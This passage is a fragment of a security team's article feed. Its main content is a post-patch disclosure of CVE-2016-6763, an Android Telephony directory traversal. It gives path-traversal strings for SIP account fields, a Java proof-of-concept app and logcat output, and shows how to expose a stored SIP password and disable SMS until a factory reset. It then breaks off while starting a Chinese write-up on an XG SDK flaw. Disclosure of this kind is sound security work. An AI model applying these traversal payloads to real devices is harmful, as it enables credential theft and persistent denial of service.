margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全、硬件安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="http://www.ms509.com/?p=519">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ea60f37e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935240%26idx%3D1%26sn%3D71645a2d31b9a777788af22b4f2fb846%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 14 Dec 2016 14:48:00 +0800</pubDate>
    </item>
    <item>
      <title>Details of Denial of service vulnerability in Telephony</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935237&amp;idx=1&amp;sn=30c0707e81e57f92e0649a7dd0a0961f</link>
      <description>SummaryThis month Google has fixed a vulnerability we</description>
      <content:encoded><![CDATA[<p>
<span>小荷才露尖尖角</span> <span>2016-12-13 11:45</span> <span style="display: inline-block;"></span>
</p>

<p>SummaryThis month Google has fixed a vulnerability we</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c8fe4fc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11ibMYrltStbyJRHJRf2UBvMw9SFZ94npBJiaV9U9bd09wOZWtibbysibvY9bgkewJ3qrJaAT2vhdAbQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style=" clear: both; font-weight: 700; margin-bottom: 28px; font-size: 24px; line-height: 1.1667; color: rgb(51, 51, 51) ; ; ; ; "><span style="font-size: 16px;"></span></h3><p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">Summary</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><section class="aimeibian imbselect" style="border: 0px none;"><section class="ImbBgStyle" style="width: 100%; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><p style="padding: 15px; box-sizing: border-box; line-height:1.5em">This month Google has fixed a vulnerability we reported. According to the Android Security Bulletin, this is a denial of service vulnerability in Telephony  that could enable a local malicious application to use a specially crafted file to cause a device hang or reboot. This issue is rated as High due to the possibility of local permanent denial of service. </p><p style="padding: 15px; box-sizing: border-box; line-height:1.5em">CVE: CVE-2016-6763</p><p style="padding: 15px; box-sizing: border-box; line-height:1.5em">BugID: A-31530456</p><p style="padding: 15px; box-sizing: border-box; line-height:1.5em"><span style="color: rgb(255, 0, 0);"><strong>Severity: High</strong></span></p><p style="padding: 15px; box-sizing: border-box; line-height:1.5em">Updated Google devices: All</p><p style="padding: 15px; box-sizing: border-box; line-height:1.5em">Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0</p></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">Vulnerability Details</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">There is a directory traversal vulnerability in SipProfileDb.java. In deleteProfile, saveProfile and retrieveSipProfileFromName methods, the sip profile name without checking is simply concatenated with the sip profile directory. As the sip profile name is sometime controlled by outside and permitted to use some evil characters like &#39;/&#39; and &#39;.&#39; , which gives an attacker a chance to write the sip profile directory and its serialized file to any location belongs to user radio.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img class="aligncenter size-full wp-image-525" data-ratio="0.7344398340248963" width="1446" data-type="png" data-w="1446" height="1062" style="border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle; display: block; margin: 7px auto; clear: both;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdcbd6e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11ibMYrltStbyJRHJRf2UBvlEicH8gB2ia7JRx1QlRd8NhKZOrEyV4icklxBo22EHYe7QXHibGedV3XWw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">How to Exploit</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px; line-height: 1.6;">The bug gives an attacker or tricked user with physical access to the phone the ability to make a new directory under data directories owned by radio, whose name is controlled, or to remove a directory with all of its files under data directories owned by radio. I tested the bug in a Nexus 6P device with Android 6.0.1 and didn&#39;t find other automation exploiting method.  I didn&#39;t know if Google has found other exploiting methods by local malicious application in other Google devices or other Android versions, either. Thank Google, they still rated the issue High and gave me a credit which is my first one in Android Security Bulletin.</span><br/><span style="font-size: 16px;"></span></p><h4 style=" clear: both; font-weight: 700; margin-top: 56px; margin-bottom: 28px; font-size: 20px; line-height: 1.4; color: rgb(51, 51, 51) ; ; ; ; "><span style="font-size: 16px;">#1 Steal the SIP password</span></h4><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">Suppose the phone already has a sip account: alice@CompromisedSite and the password is &#34;12345&#34;.<br/>1. Open Call settings -&gt;Calling accounts-&gt;Sip accounts, update existing sip account.<br/>2. Modify the existed account &#34;alice&#34; to “alice/“ in the Username of the account and “CompromisedSite/../../../../../../../../sdcard/“ in Server field, leaving other fields unchanged including password, then press save.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">The sip account configuration file including the original password will appear in sdcard directory. The orignal password &#34;12345&#34; which is a plain text can be simply found by cat the file.</span></p><pre class="lang:default decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; "><span style="font-size: 14px;">shell@angler:/sdcard $ ls -a -l
-rw-rw---- root sdcard_rw 1843 2016-09-12 14:58 .pobj</span></pre><h4 style=" clear: both; font-weight: 700; margin-top: 56px; margin-bottom: 28px; font-size: 20px; line-height: 1.4; color: rgb(51, 51, 51) ; ; ; ; "><span style="font-size: 16px;">#2  Disable SMS or Telephone function</span></h4><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">1. Open Call settings -&gt;Calling accounts-&gt;Sip accounts, press “+” to add a new sip account.<br/>2. Fill “alice/“ in Username and “somesite/../../../../../../../../data/data/com.android.providers.telephony/“ in Server field. Just fill whatever you like in Password. Then Press Save.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">3. The account will never show in SIP accounts ListView because com.android.phone will check if the directory name  of the configuration directory  match the sip profile name in the serialized file.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">4. Use the POC to trigger the SipEditor to show the original account again.</span></p><pre class="lang:java decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; "><span style="font-size: 14px;">public class MainActivity extends AppCompatActivity {

    Button m_btn = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btn = (Button)findViewById(R.id.siptest);

        m_btn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent i = new Intent();
                i.setComponent(new ComponentName(&#34;com.android.phone&#34;,
                        &#34;com.android.services.telephony.sip.SipPhoneAccountSettingsActivity&#34;));

                PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(&#34;com.android.phone&#34;,
                        &#34;com.android.services.telephony.sip.SipConnectionService&#34;),
                        &#34;alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/&#34;);
                i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

                startActivity(i);
            }
        });
    }
}</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">5. Modify the Server field to “somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db” and press SAVE which will remove any files under com.android.providers.telephony, then make a fake databases/mmssms.db under it.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img class="aligncenter wp-image-527" data-ratio="1.7777777777777777" width="367" data-type="png" data-w="1440" height="652" style="border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle; display: block; margin: 7px auto; clear: both;" src="https://wechat2rss.xlab.app/img-proxy/?k=d2fa9729&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11ibMYrltStbyJRHJRf2UBv57FuG5ibCxnzgp2fsWwtPJoWQnrgpJxpud0IDaQAAIzYQdz6eJftrKQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">At this time, the SMS function is disabled. The Nexus6P device cannot receive nor send any SMSs.</span></p><p style="margin-bottom: 28px; color: rgb(51, 51, 51); text-align: center;"><img data-s="300,640" data-type="png" data-w="358" data-ratio="1.782122905027933" src="https://wechat2rss.xlab.app/img-proxy/?k=8a579535&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11ibMYrltStbyJRHJRf2UBv0Qnj2OVfPcliabyLCYQDLf5ibMCk37JqfpXs9hmUJGHdC7d9xEY4SQmQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ; "><span style="font-size: 16px;">Logcat shows sqlite error cause we put a fake mmssms.db under com.android.providers.telephony/databases/ which prevents the real mmssms.db to recover. If we put fake telephony.db or other important files under /data/misc/radio/, It could cause other security impact on radio.</span></p><pre class="lang:default decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; "><span style="font-size: 14px;">09-14 10:19:44.593  3862  4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date&lt;=9223372036854775807 AND read=0]
09-14 10:19:44.593  3862  4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593  3862  4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.os.Binder.execTransact(Binder.java:453)</span></pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">Only through a factory reset can the SMS function be recovered.</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">Timeline</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">2016–09-12: Android bug reported to Google<br/>2016-10-04: Android bug confirmed and the severity is set to High<br/>2016-12-05: Android security bulletin released with fix<br/>2016-12-08: Public disclosure</span></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="http://www.ms509.com/?p=524">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=741d3ec6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935237%26idx%3D1%26sn%3D30c0707e81e57f92e0649a7dd0a0961f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 13 Dec 2016 11:45:00 +0800</pubDate>
    </item>
    <item>
      <title>一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935233&amp;idx=1&amp;sn=b710854ee930beeb7859050dffa29839</link>
      <description>0x00 简介XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在</description>
      <content:encoded><![CDATA[<p>
<span>小荷才露尖尖角</span> <span>2016-12-01 21:29</span> <span style="display: inline-block;"></span>
</p>

<p>0x00 简介XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=26829a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD281J7poXrVa0MqX2R50dO3jDiasPK0IClsycn04iaG06ueXwd61EuRMjAtWcUiazJHUVuTiag1IhRzUA%2F0%3Fwx_fmt%3Dpng"/>
</p>


<h2 style=" clear: both; font-weight: 700; margin-bottom: 28px; font-size: 29px; line-height: 1.2069; color: rgb(51, 51, 51) ; ; ; ; "><span style="font-size: 16px;"></span></h2><p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><p style="white-space: normal; line-height: 25.6px;"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="line-height: 25.6px; font-size: 20px;">简介</h1></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px; line-height: 1.6;">XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在使用，本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。</span><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">漏洞最初在2016年4月份的时候提交给了某云网站，厂商已经确认，但由于网站持续“升级”的缘故，不太可能公开细节了。后续漏洞也已经提交给了TSRC，时至现在，相关漏洞均已经完全修复，漏洞已经不影响使用该SDK的app了，因此本文决定对相关技术细节予以分享，并补充有关该漏洞后续的一些研究。</span></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 20px; line-height: 25.6px;">漏洞分析</h1></section></section></section></section></section></section><p><span style="font-size: 16px; line-height: 1.6; color: rgb(51, 51, 51);">XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件，作为看门狗保活应用，并随机在55000~56000端口监听任意地址。</span><br/></p><pre class="lang:default decode:true crayon-selected" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: 